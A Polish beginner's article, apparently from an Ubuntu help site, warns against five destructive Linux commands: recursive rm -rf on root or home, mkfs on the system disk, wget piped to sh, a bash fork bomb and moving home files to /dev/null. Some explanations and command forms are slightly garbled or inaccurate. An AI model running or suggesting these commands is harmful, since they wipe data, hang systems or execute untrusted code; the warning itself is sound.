Pięć poleceń dla Linuksa, z których lepiej nie korzystać
Jeśli dopiero zaczynasz przygodę z Linuksem i coraz częściej używasz terminala, to bezwzględnie powinieneś zapoznać się z poniższymi poleceniami. Są to komendy, które wywołane z prawami administratora (i nie tylko) wywołają nieodwracalne szkody w systemie. Jako początkujący użytkownik zapewne bardzo często wklejasz polecenia "na ślepo", bez wiedzy o tym, co one faktycznie robią. Pamiętaj, że nie wszyscy w sieci muszą być życzliwi i udzielić Ci takiej pomocy, na jakiej Ci zależy.

1. Numer jeden na liście to polecenia wymuszające rekurencyjne usunięcie wszystkich plików w podanych lokalizacjach. Są to kolejno:
   
   • sudo rm -rf /
     partycja systemowa /,
   • sudo rm -rf .
     bieżący katalog . (kropka), nie wymaga praw administratora, jeśli znajdujesz się w swoim katalogu domowym!
   • sudo rm -rf *
     wszystkie pliki i katalogi w obecnym katalogu, nie wymaga praw administratora, jeśli znajdujesz się w swoim katalogu domowym!
   • rm -rf ~ / &
     usunięcie wszystkiego w katalogu domowym lub, jeśli jesteś zalogowany jako root, całej partycji /.
2. Formatowanie dysku: sudo mkfs /dev/sda
   Wykonanie tego polecenia spowoduje sformatowanie całego dysku twardego.
   
3. Pobieranie nieznanych plików: wget http://nieznany_plik -O- | sh
   wget służy do pobierania plików z Internetu. Sam z siebie nie jest zły, jednak dodanie | sh powoduje uruchomienie pobranego pliku - niebezpieczne, jeśli nie wiesz do czego plik służy.
   
4. Tworzenie wielu procesów: :(){:|:&};:
   Tak, ten kod może zawiesić Twój komputer, podobnie jak ten: fork while fork Jak? Tworzone są setki, tysiące, dziesiątki tysięcy (w zależności ile Twój komputer wytrzyma) procesów w systemie. Prędzej czy później ich ilość powinna doprowadzić do zawieszenia systemu.
   
5. Przeniesienie katalogu do czarnej dziury: mv ~/* /dev/null
   Wszystko co trafi do /dev/null zostaje natychmiast usunięte – coś w stylu czarnej dziury. W tym przypadku zostaje przeniesiony katalog domowy, ale pamiętaj, że wszystko co trafi do /dev/null już nie wróci.
   
   Ubuntu - pomoc